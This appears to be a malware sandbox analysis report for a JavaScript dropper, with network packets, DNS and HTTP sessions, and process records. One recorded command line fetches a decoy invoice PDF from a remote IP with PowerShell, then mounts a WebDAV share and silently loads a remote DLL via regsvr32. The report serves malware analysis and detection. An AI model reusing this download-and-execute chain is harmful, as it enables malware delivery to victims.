Jan 10, 2025 18:58:13.481264114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481276989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481283903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481295109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481314898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481337070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481529951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481540918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481553078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481570959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481580019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481590033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481601000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481611967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481620073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481631041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481638908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481648922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481659889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481672049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481679916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481688976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481697083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481707096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481719017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481725931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481736898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481746912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481765032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481789112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.482002974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482016087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482027054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482039928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482048988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.482058048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482069016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482076883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.482088089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482098103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482119083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482127905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.482136965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482145071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.482155085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482166052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482173920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.482183933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482196093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.482213974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.482234001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.489557981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.495129108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.529999971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530014038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530031919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530044079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530056953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530123949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.530139923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530152082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530163050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.530210018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.531349897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.551071882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.554538965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.562539101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562572956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562586069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562608957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.562629938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562642097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562654018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562669039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.562690020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.562812090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562824965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562836885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562843084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562855959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.562866926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.562880993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.562988997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563000917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563010931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563023090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563033104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.563043118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563051939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.563060999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563072920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563080072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.563116074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.563200951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563213110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563225031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563235044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.563251019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.563267946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.564392090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.571634054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571655989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571666956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571679115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571691990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571703911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.571717024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571722984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.571733952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571753979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.571830988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571842909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571862936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571877956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571906090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.571906090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.571934938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571948051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571960926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571970940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.571980953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.571995974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.572002888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.572036028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.572124958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.572138071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.572165012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.651554108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:14.654366970 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:14.659476995 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:14.659548998 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:14.660295963 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:14.665060043 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:15.582045078 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:15.630351067 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:15.732764006 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:58:28.037729025 CET	61328	53	192.168.2.4	1.1.1.1
Jan 10, 2025 18:58:40.317636967 CET	49621	53	192.168.2.4	1.1.1.1
Jan 10, 2025 18:58:56.724519014 CET	63084	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:58:28.037729025 CET	192.168.2.4	1.1.1.1	0x94f8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:58:40.317636967 CET	192.168.2.4	1.1.1.1	0xb7bf	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:58:56.724519014 CET	192.168.2.4	1.1.1.1	0x3903	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 18:58:28.045073986 CET	1.1.1.1	192.168.2.4	0x94f8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:58:40.328320026 CET	1.1.1.1	192.168.2.4	0xb7bf	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:58:56.732770920 CET	1.1.1.1	192.168.2.4	0x3903	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	6912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:58:11.856750011 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:58:12.727761984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:58:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:58:12.727783918 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:58:12.727801085 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:58:12.727917910 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:58:12.727933884 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:58:12.727950096 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 18:58:12.727971077 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 18:58:12.728028059 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 18:58:12.728041887 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 18:58:12.728058100 CET	36	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 Data Ascii: \|%gkPi~vU=.[
Jan 10, 2025 18:58:12.762409925 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	3104	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:58:14.660295963 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:58:15.582045078 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:58:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:58:07
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js"
Imagebase:	0x7ff6deaf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:58:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll
Imagebase:	0x7ff6f9f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:58:08
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:58:08
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:58:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:58:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f9f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:58:13
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6566e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:58:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:58:14
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:58:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1628,i,15316732733863678480,11542386265952292308,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
